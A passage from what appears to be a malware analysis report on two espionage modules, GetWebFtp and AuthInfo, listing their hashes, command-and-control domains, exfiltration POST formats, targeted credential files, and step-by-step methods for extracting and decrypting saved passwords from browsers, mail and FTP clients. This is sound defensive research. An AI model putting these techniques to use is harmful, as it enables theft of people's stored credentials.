Content-Type: application/x-www-form-urlencoded
Data format
Malware collects the data in the memory allocated on the heap. The memory chunk with the prepared data starts with the
magic number (4E 44 00 00) following by the filename as Unicode string (@INFOSYSINFO_%u_%s.bin) and the size of
data.
43. After the size value comes the actual information part. This part is compressed and encrypted/encoded and sent via the
POST request. Data in this part is structured in the same order as it was retrieved (so first comes the system info, then disks
info, network adapters, URL history, etc.). All strings are Unicode – with the exception of browsing info, which is encoded n
ANSI.
GetWebFtp module
Known variants:
MD5 Compilation date (payload)
d1699431d56a690e1b84aa8dddffd28f 2012.10.22 07:05:01 (GMT)
The file is a PE DLL file, compiled with Microsoft Visual Studio 2005. No functions are exported.
Network function
All the requests to a CnC server are of the following pattern:
POST http://%CnC%/cgi-bin/nt/sk HTTP/1.1
Host: %CnC%
Connection: close
Content-Length: %drnrn
DATA
The POST data is of the following structure:
Number1 + HexString + "rnSubject: %srnrn" + Buffer
Number1 is 16-byte value that depends on VolumeSerialNumber, Computer name and “ProductID” key in
HKLMSOFTWAREMicrosoftInternet ExplorerRegistration
Buffer is compressed with Zlib, encrypted with a modified PKZIP stream cipher, and then it is Base64-encoded.
The list of the CnCs:
nt-windows-online.com;nt-windows-update.com;nt-windows-check.com
After resolving CnC domain tries to directly send POST request.
It always expects the server to return “500” error code («Internal Server Error») in all the requests. If this error code actually
received then the function returns success, and no more actions in the network function are done.
If the first sending-receiving routine returns failure then the module tries to find a proxy server and connect to it. For that
purpose it retrieves a path to a browser in a registry:
44. HKLMSOFTWAREClassesHTTPshellopencommand
If the browser is InternetExplorer then checks the following keys:
HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsProxyEnable
HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsProxyServer
If the browser is Firefox then reads the file %APPDATA%MozillaFirefoxprofiles.ini and retrieves its “Path” value. After that
reads %APPDATA%MozillaFirefox%Path%prefs.js and retrieves proxy and port from the settings starting with “user_pref(
network.proxy.*”.
If the browser is Opera then reads the file %APPDATA%OperaOperaprofileopera6.ini, finds the [Proxy] section and finds
string which matches “HTTP.*=.*:.*” and retrieves server and port from it.
DllMain
Tries to call RegisterServiceProcess API from kernel32.dll (this API existed in Windows 9x)
Sends POST request with the Subject: “Reflebt” and “===” Buffer.
Starts searching for specific files on the following Drives: (c:,d:,e:,f:,g:)
The list of interested files:
"*.odu"
"*.pfx"
"Favorites.dat"
"FileZilla.xml"
"History.dat"
"Quick.dat"
"RushSite.xml"
"ScribeOptions.xml"
"Sites.dat"
"Sites.xml"
"SmartFTP*"
"TheBee.ini"
"account.cfn"
"account.xml"
"accounts.ini"
"addrbk.dat"
"andrq.ini"
45. "bpftp.dat"
"clients.dat"
"digsby.dat"
"ftplist.txt"
"global.xml"
"keychain.plist"
"signons.txt"
"sm.dat"
"smdata.dat"
"users.txt"
"wand.dat"
"wcx_ftp.ini"
"ws_ftp.ini"
Also the module enumerates network shares. The initial purpose of that seems to be searching for the same files in the
network shares, but there is a bug in the code which prevents from doing it. (FindFirstFile API call doesn’t get the string with
wildcards as its first parameter, it only gets the string of a network share without appending a wildcard to it, so the API
always returns INVALID_HANDLE_VALUE).
If any of these files is found, then the module adds its information to a Buffer for POST request which contains the following:
file path, file contents, file creation time, last access time, last write time (all system time format), file size, the current position
in stream, the number of bytes read from file. The final Buffer can contain information about several files at once. The non-
compressed Buffer size can’t exceed a definite value (a little more than 358571 bytes), and the files can be partially sent.
POST request with files is sent with the Subject: “Reflect”.
After all the files are processed the module sends the final POST request with the Subject: “Refleet” and “===” Buffer.
AuthInfo Module
Known variants:
MD5 Compilation date (payload)
793c82efc65a43ed249a45ec7c69a388 2012.09.05 07:02:18 (GMT)
428de53f1a1eaa040847b6456b7e5369 2012.09.05 07:02:18 (GMT)
Summary
The file is a PE DLL file, compiled with Microsoft Visual Studio 2010. No functions are exported. Its main purpose is to steal
credential information from various popular file managers, email clients, browsers and FTP client software.
DllMain function
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The
main function of the module is named “task_authinfo” and is registered in the framework. Then, it starts the framework main
46. loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
SetOption(conn_a.D_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/nt/sk")
SetOption(conn_a.D_RPRT, [3] "80")
SetOption(conn_a.D_SPRT, [3] "80")
SetOption(conn_a.D_USER, [21] "%removed%")
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/nt/th")
SetOption(conn_a.J_USER, [21] "%removed%")
SetOption(conn_a.J_RPRT, [3] "80")
SetOption(conn_a.J_SPRT, [3] "80")
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] "51070")
SetOption(conn_a.SEND_DELAY_TIME, [6] "20000")
SetOption(conn_a.VER_SESSION_ID, [11] "%removed%")
Call(task_authinfo)
The module creates two output buffers (lets call them Buffer1 and Buffer2).
The Buffer1 starts with the following string: "@INFOAUTHINFO_%u_%s.txt"
Where %u equals to 6, %s is system time in the following format: "%04u%02u%02u_%02u%02u%02u_%03u"
If FileTimeToSystemTime API failed, it uses the default time string: "16010101_000000_000"
If wsprintfW API failed, it uses the default hardcoded filename: "@INFOSYSINFO_X_00000000_000000_000.txt"
Also it constructs the following string: "@INFOAUTHINFO_%u_%s.bin” for being a header of Buffer2, but the module is
compiled in that way that the retrieved data is not copied to Buffer2 and as a result is not sent to the CnC (that’s probably a
developer’s mistake).
Buffer1 (.txt) is used to store general information text strings for logging purpose, and Buffer2 (.bin) is used to store
information retrieved from the registry values and file contents, including binary data.
Data collection
In all the functions if a host is retrieved, it is also resolved to its IP.
47. 1. Far Manager FTP data
Buffer1 sample data:
START
BEGIN : Far
FAR : regkey '%s' opened – OK
END : Far, size : %d
Extracts the following data from registry for Buffer2:
HKCUSoftwareFar2PluginsFTPHostsItem
“HostName“, “ User“, “Password“ values data.
The “Password” value data is decrypted with a publicly known FAR FTP decryption algorithm based on simple XOR.
2. Winscp data
Buffer1 sample data:
BEGIN : Winscp
WINSCP : regvalue username found - OK
END : Winscp, size : %d
Enumerates subkeys in the following key and retrieves value data for Buffer2:
HKCUSoftwareMartin PrikrylWinSCP 2Sessions
Value names: “UserName”, "Password", "PortNumber", "FSProtocol", "HostName"
The “Password” value data is decrypted with a publicly known Winscp algorithm which is based on a bitwise operations and
XOR using “UserName” concatenated with the “HostName” as a key.
3. TotalCommander data
Buffer1 data sample:
BEGIN : TotalCommander
TOTAL COM : wcx_ftp.ini found – OK
END : TotalCommander, size : %d
Searches for “wcx_ftp.ini” file, reads its contents and extracts values for parameters: "username", "host", "password".
The “password” value data is decrypted with a publicly known TotalCommander algorithm which is based on XOR.
4. Internet Explorer 7 and 8 data
Buffer1 data sample:
BEGIN : IE78
48. IE78 : regkey opened – OK
END : IE78, size : %d
Enumerates value names in the following key:
HKCUSoftwareMicrosoftInternet ExplorerIntelliFormsStorage2
The module creates Microsoft URL History Service instance and enumerates URLs from the browser history. It calculates
URL hash using CryptHashData API (SHA1 algorithm) and compares it with the value names from the previous registry key.
If they coincide the module retrieves the registry data for the corresponding hash and decrypts the data using
CryptUnprotectData API. As a result Autocomplete passwords and the corresponding URLs are obtained.
5. Internet Explorer 6 and Outlook data
Buffer1 data sample:
BEGIN : IE6, OutlookEx
OUTLOOK EXP : LoadLibrary: pstorec.dll: %u – ERROR
IE6 : pstore contains data - OK
Attempts to load library called “pstorec.dll”. If pstorec.dll library couldn’t be loaded then starts working with registry
immediately.
If the library is successfully loaded then retrieves an interface pointer to a storage provider, enumerates provider types and
subtypes. If the Resource Type corresponds to IE Protected Site or Outlook Account then reads the data item name and the
data item buffer. As a result it retrieves IE HTTP/FTP basic authentication password and corresponding hosts, for Outlook it
retrieves POP3 passwords and proceeds with working with registry. If the ResourseType corresponds to IE6 the module also
interprets ItemName as a URL, and resolves the host to IP.
In case of Outlook enumerates subkeys of the following key and retrieves the value data in them:
HKCUSOFTWAREMicrosoftInternet Account ManagerAccounts
Values: “POP3 Password2", "IMAP Password2", "HTTPMail Password2".
If one of the values data coincides with previously retrieved passwords from PStore, then retrieves the remained values data:
Account Name
SMTP Email Address
SMTP Server
HTTPMail User Name
HTTPMail Server
POP3 User Name
POP3 Server
IMAP User Name
IMAP Server
6. Opera, Chrome, Firefox, Thunderbird data
Buffer1 sample data:
BEGIN : Opera, GCH, MFF, THB
49. OPERA : wand.dat file found and read – OK
CHROME : Login Data file found and read – OK
THUNDERBIRD : signon file path '%s' found - OK
Opera: Reads file: %APPDATA%OperaOperawand.dat, decrypts it (3DES + proprietary), parses it and retrieves hosts and
corresponding passwords.
Chrome: In the Chrome processing function the module uses SQLLite lib to read file
“%LOCALAPPDATA%GoogleChromeUser DataDefaultLogin Data“ as a DB. It makes a query “SELECT * FROM logins”
to retrieve hosts and saved passwords. It retrieves "Password_value" field to decrypt with CryptUnprotectData API call.
Firefox: Reads the file %APPDATA%MozillaFirefoxprofiles.ini and retrieves “User Profiles Path” from it.
Queries value in the following key to retrieve Firefox path:
HKLMSOFTWAREClientsStartMenuInternetfirefox.exeshellopencommand
In the Firefox directory tries to load nss3.dll, plc4.dll and get the following functions: NSS_Init, NSS_Shutdown,
PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, PK11SDR_Decrypt, PK11_CheckUserPassword,
PL_Base64Decode.
Sequentially tries to open and read file %FirefoxProfilesPath%signons.txt or signons2.txt or signons3.txt or sqlite.sqlite
(these files used in different Firefox versions). In case of the *.txt files the module parses a file, retrieves urls, decrypts
usernames and passwords using PL_Base64Decode and PK11SDR_Decrypt. In case of sqlite.sqlite it makes a query
“SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins”, decrypts usernames and passwords
using PL_Base64Decode and PK11SDR_Decrypt functions.
Thunderbird: Reads the file %APPDATA%Thunderbirdprofiles.ini and retrieves “User Profiles Path” from it. Queries value
in the following key to retrieve Thunderbird path:
HKLM SOFTWAREClientsMailMozilla Thunderbirdshellopencommand
In the Thunderbird directory tries to load nss3.dll, plc4.dll and get the following functions: NSS_Init, NSS_Shutdown,
PK11_GetInternalKeySlot, PK11_FreeSlot, PK11_Authenticate, PK11SDR_Decrypt, PK11_CheckUserPassword,
PL_Base64Decode.
Sequentially tries to open and read file %ThunderbirdProfilesPath%signons.txt or signons2.txt or signons3.txtor sqlite.sqlite
(these files used in different Thunderbird versions). In case of the *.txt files the module parses a file, retrieves urls, decrypts
usernames and passwords using PL_Base64Decode and PK11SDR_Decrypt. In case of sqlite.sqlite it makes a query
“SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins”, decrypts usernames and passwords
using PL_Base64Decode and PK11SDR_Decrypt functions.
7. The Bat data
Buffer1 data sample:
BEGIN : The Bat
THE BAT : Account.CFN '%s' read – OK
Searches for the “Account.CFN” file, decrypts it with an algorithm based on a bitwise operations and 1-byte XOR, then
extracts hostnames, usernames and passwords.
8. Filezilla data
50. Buffer1 data sample:
BEGIN : FileZilla
FILE ZILLA : sitemanager.xml file found – OK
FILE ZILLA : sitemanager.xml '%s' opened - OK
Searches for “sitemanager.xml” file, parses it and extracts Host, User, Port and Pass values. No decryption routines are
used in processing the file.
9. CoreFTP data
Buffer1 data sample:
BEGIN : CoreFtp
CORE FTP : regkey of core ftp '%s' opened – OK
CORE FTP : password is present - OK
Tries to open the following registry key where %d is incremented starting from 0:
HKCUSoftwareFTPWareCoreFTPSites%d
Retrieves the value data for: "Host", "Port", "User", "PW".
The “PW” data is decrypted using AES-128-ECB with a static key “hdfzpysvpzimorhk”.
10. IncrediMail data
Buffer1 sample data
BEGIN : IncrediMail
INCREDI : regkey Identities opened - OK
Enumerates subkeys and retrieves the value data in them:
HKCUSoftwareIncrediMailIdentities%sAccounts%s
Value names: "PopPort", "Technology", "PopServer", "EmailAddress", "PopPassword".
The “PopPassword” data is decrypted using a proprietary algorithm based on simple xor’ing.
Network communication
The final Buffer (which contains only Buffer1 in observed version, Buffer2 is not added) is compressed with Zlib, encrypted
with a modified PKZIP stream cipher, and then it is Base64-encoded.
The module sequentially tries to send data to the CnCs specified in the configuration resource in a loop of 7 iterations until
success. The interval between server communications is 3 seconds.
It forms the HTTP header of the following pattern:
POST http://%s:%s%s HTTP/1.0
Host: %s:%s